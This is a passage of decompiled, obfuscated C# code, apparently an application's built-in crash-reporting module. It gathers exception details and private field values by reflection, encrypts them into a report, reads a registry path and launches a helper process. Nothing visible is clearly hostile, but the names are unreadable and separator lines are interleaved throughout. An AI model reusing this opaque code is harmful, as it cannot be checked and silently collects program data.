\u0087\u0005.\u007E\u001F\u0003((object) disposable);
|
||
}
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1768));
|
||
try
|
||
{
|
||
\u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(1793), \u0003\u0006.\u007E\u0013\u0003((object) \u0007\u0005.\u007E\u0006\u0005((object) \u0081\u0003.\u0090\u0004())));
|
||
\u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(1806), \u0003\u0006.\u007E\u0013\u0003((object) \u008C\u0004.\u007E\u0005\u0005((object) \u0081\u0003.\u0090\u0004())));
|
||
\u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(1823), \u0005.\u0003.\u0003());
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
ArrayList arrayList = new ArrayList();
|
||
for (Exception exception = this.\u0001; exception != null; exception = \u001B\u0004.\u007E\u0002\u0004((object) exception))
|
||
{
|
||
Type type = \u0011\u0004.\u007E\u0005\u0004((object) exception);
|
||
if (\u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u0007\u0005((object) type), \u0006.\u0001(1840)) && \u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u0014\u0005((object) type), \u0006.\u0001(1865)))
|
||
{
|
||
int num2 = \u0088\u0004.\u007E\u009C\u0005((object) arrayList, (object) exception);
|
||
}
|
||
else
|
||
\u0002\u0003.\u007E\u009F\u0005((object) arrayList, 0, (object) exception);
|
||
}
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1910));
|
||
int num3 = \u008A\u0005.\u007E\u009A\u0005((object) arrayList);
|
||
int num4 = 0;
|
||
IEnumerator enumerator1 = \u0083\u0004.\u007E\u009E\u0005((object) arrayList);
|
||
try
|
||
{
|
||
while (\u009E\u0005.\u007E\u001D\u0003((object) enumerator1))
|
||
{
|
||
Exception exception = (Exception) \u0010\u0005.\u007E\u001E\u0003((object) enumerator1);
|
||
++num4;
|
||
if (num4 > 100 && num4 == num3 - 100)
|
||
{
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1927));
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1948), num3.ToString());
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
else if (num4 <= 100 || num4 > num3 - 100)
|
||
{
|
||
Type type = \u0011\u0004.\u007E\u0005\u0004((object) exception);
|
||
if (\u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u0007\u0005((object) type), \u0006.\u0001(1840)) && \u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u0014\u0005((object) type), \u0006.\u0001(1865)))
|
||
{
|
||
int num5 = 0;
|
||
int num6 = -1;
|
||
object[] objArray = (object[]) null;
|
||
\u0006.\u0003 obj1 = \u0006.\u0003.\u0003();
|
||
bool flag = true;
|
||
try
|
||
{
|
||
num5 = (int) \u0083\u0005.\u007E\u0094\u0006((object) \u0010\u0004.\u007E\u001A\u0005((object) type, \u0006.\u0001(1973)), (object) exception);
|
||
num6 = (int) \u0083\u0005.\u007E\u0094\u0006((object) \u0010\u0004.\u007E\u001A\u0005((object) type, \u0006.\u0001(1986)), (object) exception);
|
||
objArray = (object[]) \u0083\u0005.\u007E\u0094\u0006((object) \u0010\u0004.\u007E\u001A\u0005((object) type, \u0006.\u0001(1999)), (object) exception);
|
||
obj1 = this.\u0003(type);
|
||
}
|
||
catch
|
||
{
|
||
flag = false;
|
||
}
|
||
if (flag && !obj1.\u0003())
|
||
{
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2012));
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1973), num5.ToString());
|
||
int num7 = this.\u0003(obj1);
|
||
if (num7 > 0)
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1394), num7.ToString());
|
||
if (num6 != -1)
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1986), num6.ToString());
|
||
foreach (object obj2 in objArray)
|
||
{
|
||
try
|
||
{
|
||
this.\u0003(obj2, (FieldInfo) null);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
}
|
||
else
|
||
{
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2029));
|
||
try
|
||
{
|
||
this.\u0003(\u0011\u0004.\u007E\u0005\u0004((object) exception));
|
||
string str3 = \u0006.\u0001(1443);
|
||
try
|
||
{
|
||
str3 = \u0003\u0006.\u007E\u0001\u0004((object) exception);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2042), str3);
|
||
string str4 = \u0003\u0006.\u007E\u0090\u0003((object) \u0003\u0006.\u007E\u0003\u0004((object) exception));
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2055), str4);
|
||
int num8 = \u0004\u0005.\u007E\u008A\u0003((object) str4, ' ');
|
||
string str5 = \u009B\u0002.\u007E\u0087\u0003((object) str4, num8 + 1);
|
||
int num9 = \u0016\u0003.\u007E\u008B\u0003((object) str5, \u0006.\u0001(2084));
|
||
if (num9 != -1)
|
||
str5 = \u0098\u0004.\u007E\u0088\u0003((object) str5, 0, num9);
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2089), str5);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
finally
|
||
{
|
||
if (enumerator1 is IDisposable disposable)
|
||
\u0087\u0005.\u007E\u001F\u0003((object) disposable);
|
||
}
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1999));
|
||
int num10 = \u008A\u0005.\u007E\u009A\u0005((object) this.\u0001);
|
||
for (int index1 = 0; index1 < \u008A\u0005.\u007E\u009A\u0005((object) this.\u0001); ++index1)
|
||
{
|
||
object obj3 = \u0081\u0005.\u007E\u009B\u0005((object) this.\u0001, index1);
|
||
Type type = \u0011\u0004.\u007E\u0015\u0003(obj3);
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2098));
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1292), index1.ToString());
|
||
string str = (string) null;
|
||
try
|
||
{
|
||
str = \u0003\u0006.\u007E\u0013\u0003(obj3);
|
||
str = !\u0008\u0003.\u0081\u0003(str, \u0003\u0006.\u007E\u0013\u0005((object) type)) ? (!\u009E\u0005.\u007E\u001E\u0005((object) type) ? (!(obj3 is Guid) ? \u0091\u0005.\u0096\u0003(\u0006.\u0001(1278), str, \u0006.\u0001(1278)) : \u0091\u0005.\u0096\u0003(\u0006.\u0001(698), str, \u0006.\u0001(1273))) : \u0015\u0004.\u007F\u0003(type, obj3, \u0006.\u0001(2111))) : (string) null;
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
if (str != null)
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1283), this.\u0003(str));
|
||
if (\u009E\u0005.\u007E\u0082\u0005((object) type))
|
||
{
|
||
this.\u0003(\u0011\u0004.\u007E\u0083\u0005((object) type));
|
||
if (\u009E\u0005.\u007E\u007F\u0005((object) type))
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1193), \u0006.\u0001(1041));
|
||
if (\u009E\u0005.\u007E\u0080\u0005((object) type))
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1202), \u0006.\u0001(1041));
|
||
if (\u009E\u0005.\u007E\u001F\u0005((object) type))
|
||
{
|
||
Array array = (Array) obj3;
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1215), \u008A\u0005.\u007E\u001C\u0003((object) array).ToString());
|
||
StringBuilder stringBuilder1 = new StringBuilder();
|
||
for (int index2 = 0; index2 < \u008A\u0005.\u007E\u001C\u0003((object) array); ++index2)
|
||
{
|
||
if (index2 > 0)
|
||
{
|
||
StringBuilder stringBuilder2 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, ',');
|
||
}
|
||
StringBuilder stringBuilder3 = \u0088\u0003.\u007E\u009C\u0003((object) stringBuilder1, \u0099\u0005.\u007E\u001B\u0003((object) array, index2));
|
||
}
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1741), \u0003\u0006.\u007E\u0013\u0003((object) stringBuilder1));
|
||
if (\u008A\u0005.\u007E\u001C\u0003((object) array) == 1)
|
||
{
|
||
int num11 = \u008A\u0005.\u007E\u001A\u0003((object) array);
|
||
for (int index3 = 0; index3 < num11; ++index3)
|
||
{
|
||
if (index3 == 10)
|
||
{
|
||
if (num11 > 16)
|
||
index3 = num11 - 5;
|
||
}
|
||
try
|
||
{
|
||
this.\u0003(\u0081\u0005.\u007E\u0019\u0003((object) array, index3), (FieldInfo) null);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
else
|
||
{
|
||
this.\u0003(type);
|
||
if (index1 < num10)
|
||
{
|
||
if (obj3 is IEnumerable)
|
||
{
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2116));
|
||
try
|
||
{
|
||
int num12 = 0;
|
||
IEnumerator enumerator2 = \u0083\u0004.\u007E\u0016\u0003((object) (IEnumerable) obj3);
|
||
try
|
||
{
|
||
while (\u009E\u0005.\u007E\u001D\u0003((object) enumerator2))
|
||
{
|
||
object obj4 = \u0010\u0005.\u007E\u001E\u0003((object) enumerator2);
|
||
if (num12 > 20)
|
||
{
|
||
\u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(2133), string.Empty);
|
||
break;
|
||
}
|
||
this.\u0003(obj4, (FieldInfo) null);
|
||
++num12;
|
||
}
|
||
}
|
||
finally
|
||
{
|
||
if (enumerator2 is IDisposable disposable)
|
||
\u0087\u0005.\u007E\u001F\u0003((object) disposable);
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
bool flag = true;
|
||
while ((object) type != null)
|
||
{
|
||
if (!flag)
|
||
{
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2142));
|
||
this.\u0003(type);
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
FieldInfo[] fieldInfoArray = \u0096\u0003.\u007E\u001B\u0005((object) type, BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
|
||
if (fieldInfoArray.Length > 0)
|
||
{
|
||
for (int index4 = 0; index4 < fieldInfoArray.Length; ++index4)
|
||
{
|
||
try
|
||
{
|
||
if (!\u009E\u0005.\u007E\u0098\u0006((object) fieldInfoArray[index4]))
|
||
{
|
||
if (\u009E\u0005.\u007E\u0096\u0006((object) fieldInfoArray[index4]))
|
||
{
|
||
if (\u009E\u0005.\u007E\u0097\u0006((object) fieldInfoArray[index4]))
|
||
continue;
|
||
}
|
||
this.\u0003(\u0083\u0005.\u007E\u0094\u0006((object) fieldInfoArray[index4], obj3), fieldInfoArray[index4]);
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
}
|
||
type = \u0011\u0004.\u007E\u0016\u0005((object) type);
|
||
flag = false;
|
||
if (this.\u0003(type).\u0003())
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2159));
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2172), \u008A\u0005.\u007E\u009A\u0005((object) this.\u0002).ToString());
|
||
for (int index = 0; index < \u008A\u0005.\u007E\u009A\u0005((object) this.\u0002); ++index)
|
||
{
|
||
string empty = string.Empty;
|
||
string str;
|
||
try
|
||
{
|
||
str = \u0003\u0006.\u007E\u0013\u0003(\u0081\u0005.\u007E\u009B\u0005((object) this.\u0002, index));
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
str = \u000E\u0005.\u0094\u0003((object) '"', (object) \u0003\u0006.\u007E\u0001\u0004((object) ex), (object) '"');
|
||
}
|
||
\u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(1430), str);
|
||
}
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2181));
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2172), \u008A\u0005.\u007E\u009A\u0005((object) this.\u0003).ToString());
|
||
for (int index = 0; index < \u008A\u0005.\u007E\u009A\u0005((object) this.\u0003); ++index)
|
||
{
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1481));
|
||
\u0006.\u0002 obj = (\u0006.\u0002) \u0081\u0005.\u007E\u009B\u0005((object) this.\u0003, index);
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1292), obj.\u0001);
|
||
if (\u008A\u0005.\u007E\u0084\u0003((object) obj.\u0002) > 0)
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2198), obj.\u0002);
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
\u0087\u0005.\u007E\u0011((object) this.\u0001);
|
||
\u0087\u0005.\u007E\u0015((object) this.\u0001);
|
||
\u0087\u0005.\u007E\u0019\u0007((object) w);
|
||
return \u0095\u0002.\u007E\u008B\u0007((object) w);
|
||
}
|
||
|
||
internal bool \u0003([In] string obj0)
|
||
{
|
||
try
|
||
{
|
||
byte[] numArray1 = this.\u0003(\u008E\u0004.\u0095\u0004().ToString(\u0006.\u0001(1376)));
|
||
FileStream fileStream = \u0003\u0005.\u0087\u0007(obj0);
|
||
byte[] numArray2 = \u0003.\u0005.\u0003(\u0006.\u0004(numArray1), \u0006.\u0001(2211));
|
||
byte[] numArray3 = \u0019\u0005.\u007E\u009F\u0006((object) \u001F\u0003.\u009E\u0006(), \u0006.\u0001(1498));
|
||
\u009B\u0005.\u007E\u001D\u0007((object) fileStream, numArray3, 0, numArray3.Length);
|
||
\u009B\u0005.\u007E\u001D\u0007((object) fileStream, numArray2, 0, numArray2.Length);
|
||
\u0087\u0005.\u007E\u0018\u0007((object) fileStream);
|
||
return true;
|
||
}
|
||
catch (ThreadAbortException ex)
|
||
{
|
||
return false;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
return false;
|
||
}
|
||
}
|
||
|
||
internal void \u0003()
|
||
{
|
||
try
|
||
{
|
||
string str1 = \u009E\u0003.\u008D\u0007();
|
||
this.\u0003(str1);
|
||
string str2 = this.\u0004(\u0006.\u0001(1569));
|
||
if (\u008A\u0005.\u007E\u0084\u0003((object) str2) > 0 && !\u0087\u0003.\u007E\u0089\u0003((object) str2, \u0006.\u0001(2537)))
|
||
str2 = \u0010\u0003.\u0095\u0003(str2, \u0006.\u0001(2537));
|
||
Process process = \u008A\u0003.\u0081\u0008(\u0010\u0003.\u0095\u0003(str2, \u0006.\u0001(2542)), \u0091\u0005.\u0096\u0003(\u0006.\u0001(2571), str1, \u0006.\u0001(1278)));
|
||
if (this.\u0001 == null)
|
||
return;
|
||
\u0011\u0003.\u007E\u0092\u0004((object) this.\u0001, (object) this, EventArgs.Empty);
|
||
}
|
||
catch (ThreadAbortException ex)
|
||
{
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
this.\u0003(new \u0004.\u0005(ex));
|
||
}
|
||
}
|
||
|
||
internal bool \u0003()
|
||
{
|
||
try
|
||
{
|
||
if (this.\u0001 != null)
|
||
goto label_35;
|
||
label_1:
|
||
byte[] numArray1;
|
||
try
|
||
{
|
||
numArray1 = this.\u0003(string.Empty);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
int num = -1;
|
||
try
|
||
{
|
||
StackTrace stackTrace = new StackTrace(ex);
|
||
if (\u008A\u0005.\u007E\u0013\u0006((object) stackTrace) > 0)
|
||
{
|
||
StackFrame stackFrame = \u0082\u0005.\u007E\u0014\u0006((object) stackTrace, \u008A\u0005.\u007E\u0013\u0006((object) stackTrace) - 1);
|
||
num = \u008A\u0005.\u007E\u0016\u0006((object) stackFrame);
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
if (this.\u0001 != null)
|
||
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0001, \u0090\u0005.\u0093\u0003(\u0006.\u0001(2600), (object) \u0003\u0006.\u007E\u0001\u0004((object) ex), (object) num)));
|
||
return false;
|
||
}
|
||
byte[] numArray2 = \u0006.\u0004(numArray1);
|
||
if (numArray2 == null)
|
||
{
|
||
if (this.\u0001 != null)
|
||
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0001, \u0006.\u0001));
|
||
return false;
|
||
}
|
||
byte[] numArray3 = \u0003.\u0005.\u0003(numArray2, \u0006.\u0001(2211));
|
||
if (numArray3 == null)
|
||
{
|
||
if (this.\u0001 != null)
|
||
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0001, \u0003.\u0005.\u0001));
|
||
return false;
|
||
}
|
||
if (this.\u0001 != null)
|
||
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0002));
|
||
\u0006 obj = new \u0006(\u0006.\u0001(2633));
|
||
if (this.\u0001 != null)
|
||
obj.\u0003(this.\u0001);
|
||
string str1 = obj.\u0003();
|
||
if (\u0008\u0003.\u0081\u0003(str1, \u0006.\u0001(2686)))
|
||
{
|
||
if (this.\u0001 != null)
|
||
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0003));
|
||
byte[] numArray4 = \u0019\u0005.\u007E\u009F\u0006((object) \u001F\u0003.\u009E\u0006(), \u0006.\u0001(1498));
|
||
byte[] numArray5 = new byte[numArray4.Length + numArray3.Length];
|
||
\u0005\u0006.\u0017\u0003((Array) numArray4, (Array) numArray5, numArray4.Length);
|
||
\u0081\u0004.\u0018\u0003((Array) numArray3, 0, (Array) numArray5, numArray4.Length, numArray3.Length);
|
||
string str2 = obj.\u0003(numArray5);
|
||
if (\u0087\u0003.\u007E\u008D\u0003((object) str2, \u0006.\u0001(2691)))
|
||
{
|
||
if (this.\u0001 != null)
|
||
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0003, str2));
|
||
return false;
|
||
}
|
||
if (this.\u0001 != null)
|
||
{
|
||
\u0004.\u0003 e = new \u0004.\u0003(\u0003.\u0002.\u0004);
|
||
e.\u0003(str2);
|
||
this.\u0001((object) this, e);
|
||
}
|
||
return true;
|
||
}
|
||
string str3 = str1;
|
||
if (this.\u0001 != null)
|
||
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0002, str3));
|
||
return false;
|
||
label_35:
|
||
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0001));
|
||
goto label_1;
|
||
}
|
||
catch (ThreadAbortException ex)
|
||
{
|
||
return false;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
this.\u0003(new \u0004.\u0005(ex));
|
||
return false;
|
||
}
|
||
}
|
||
|
||
private string \u0004([In] string obj0)
|
||
{
|
||
try
|
||
{
|
||
RegistryKey registryKey = \u009A\u0005.\u007E\u0008\u0007((object) Registry.LocalMachine, \u0006.\u0001(2696)) ?? \u009A\u0005.\u007E\u0008\u0007((object) Registry.LocalMachine, \u0006.\u0001(2729));
|
||
if (registryKey == null)
|
||
return string.Empty;
|
||
string str = (string) \u007F\u0004.\u007E\u000E\u0007((object) registryKey, obj0, (object) string.Empty);
|
||
\u0087\u0005.\u007E\u0007\u0007((object) registryKey);
|
||
return str;
|
||
}
|
||
catch
|
||
{
|
||
return string.Empty;
|
||
}
|
||
}
|
||
|
||
internal bool \u0003([In] SecurityException obj0)
|
||
{
|
||
\u0004.\u0004 obj = new \u0004.\u0004(obj0);
|
||
this.\u0003(obj);
|
||
if (obj.\u0005())
|
||
return false;
|
||
if (!obj.\u0004())
|
||
\u0016\u0005.\u007F();
|
||
return true;
|
||
}
|
||
|
||
internal string \u0004()
|
||
{
|
||
string str1 = Guid.Empty.ToString(\u0006.\u0001(1376));
|
||
try
|
||
{
|
||
string str2 = this.\u0004(\u0006.\u0001(1569));
|
||
if (\u008A\u0005.\u007E\u0084\u0003((object) str2) > 0 && !\u0087\u0003.\u007E\u0089\u0003((object) str2, \u0006.\u0001(2537)))
|
||
str2 = \u0010\u0003.\u0095\u0003(str2, \u0006.\u0001(2537));
|
||
string url = \u0010\u0003.\u0095\u0003(str2, \u0006.\u0001(2778));
|
||
if (\u001E\u0005.\u0086\u0007(url))
|
||
{
|
||
XmlTextReader xmlTextReader = new XmlTextReader(url);
|
||
if (\u009E\u0005.\u007E\u0018((object) xmlTextReader))
|
||
str1 = \u008E\u0003.\u007E\u0017((object) xmlTextReader, \u0006.\u0001(2815));
|
||
\u0087\u0005.\u007E\u0019((object) xmlTextReader);
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
return str1;
|
||
}
|
||
|
||
internal void \u0003([In] Exception obj0, [In] bool obj1)
|
||
{
|
||
if (obj0 == null || obj0 is ThreadAbortException)
|
||
return;
|
||
\u0006.\u0001 = true;
|
||
bool flag = true;
|
||
try
|
||
{
|
||
this.\u0001 = obj0;
|
||
this.\u0001 = (Hashtable) null;
|
||
this.\u0002 = (Hashtable) null;
|
||
\u0005.\u0002 obj2 = new \u0005.\u0002(this, obj0);
|
||
if (\u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u008E\u0003((object) \u0006.\u0001(2633)), \u0003\u0006.\u007E\u008E\u0003((object) this.\u0004())))
|
||
obj2.\u0003();
|
||
\u0008\u0003 obj3 = \u0008\u0003.\u0081\u0003;
|
||
string str1 = \u0003\u0006.\u007E\u008E\u0003((object) \u0006.\u0001(2633));
|
||
Guid empty = Guid.Empty;
|
||
string str2 = \u0003\u0006.\u007E\u008E\u0003((object) empty.ToString(\u0006.\u0001(1376)));
|
||
if (obj3(str1, str2))
|
||
obj2.\u0004();
|
||
if (!obj1)
|
||
obj2.\u0005();
|
||
this.\u0003(obj2);
|
||
flag = !obj2.\u0006();
|
||
}
|
||
catch (ThreadAbortException ex)
|
||
{
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
this.\u0003(new \u0004.\u0005(ex));
|
||
}
|
||
this.\u0001 = (Exception) null;
|
||
this.\u0001 = (Hashtable) null;
|
||
this.\u0002 = (Hashtable) null;
|
||
\u0006.\u0001 = false;
|
||
if (!flag)
|
||
return;
|
||
foreach (Assembly assembly in \u009A\u0002.\u007E\u001E\u0004((object) \u0099\u0003.\u001D\u0004()))
|
||
{
|
||
try
|
||
{
|
||
string str = \u0003\u0006.\u007E\u0019\u0006((object) assembly);
|
||
if (\u0087\u0003.\u007E\u0089\u0003((object) str, \u0006.\u0001(2828)))
|
||
{
|
||
if (\u0087\u0003.\u007E\u008D\u0003((object) str, \u0006.\u0001(2853)))
|
||
{
|
||
object obj4 = \u0093\u0005.\u007E\u0090\u0006((object) \u0008\u0004.\u007E\u0099\u0006((object) \u0014\u0005.\u007E\u001C\u0005((object) \u0092\u0003.\u007E\u001A\u0006((object) assembly, \u0006.\u0001(2886)), \u0006.\u0001(2923))), (object) null, (object[]) null);
|
||
object obj5 = \u0093\u0005.\u007E\u0090\u0006((object) \u0012\u0005.\u007E\u0017\u0005((object) \u0011\u0004.\u007E\u0015\u0003(obj4), \u0006.\u0001(2936), new Type[0]), obj4, (object[]) null);
|
||
}
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
\u0016\u0005.\u007F();
|
||
try
|
||
{
|
||
\u009D\u0005.\u008F\u0004(0);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
|
||
static \u0006()
|
||
{
|
||
\u0001.\u0003.\u0003();
|
||
\u0006.\u0001 = \u0006.\u0001(1041);
|
||
\u0006.\u0001 = false;
|
||
\u0006.\u0001 = (\u0006) null;
|
||
}
|
||
|
||
private struct \u0001
|
||
{
|
||
public string \u0001;
|
||
public string \u0002;
|
||
public string \u0003;
|
||
public int \u0001;
|
||
}
|
||
|
||
private struct \u0002
|
||
{
|
||
public string \u0001;
|
||
public string \u0002;
|
||
|
||
public \u0002([In] string obj0, [In] string obj1)
|
||
{
|
||
this.\u0001 = obj0;
|
||
this.\u0002 = obj1;
|
||
}
|
||
}
|
||
|
||
private struct \u0003
|
||
{
|
||
public string \u0001;
|
||
public \u0006.\u0002 \u0001;
|
||
|
||
[SpecialName]
|
||
public bool \u0003() => \u008A\u0005.\u007E\u0084\u0003((object) this.\u0001) == 0;
|
||
|
||
[SpecialName]
|
||
public static \u0006.\u0003 \u0003() => new \u0006.\u0003(string.Empty, string.Empty, string.Empty);
|
||
|
||
public \u0003([In] string obj0, [In] string obj1, [In] string obj2)
|
||
{
|
||
this.\u0001 = obj0;
|
||
this.\u0001 = new \u0006.\u0002(obj1, obj2);
|
||
}
|
||
}
|
||
}
|
||
}
|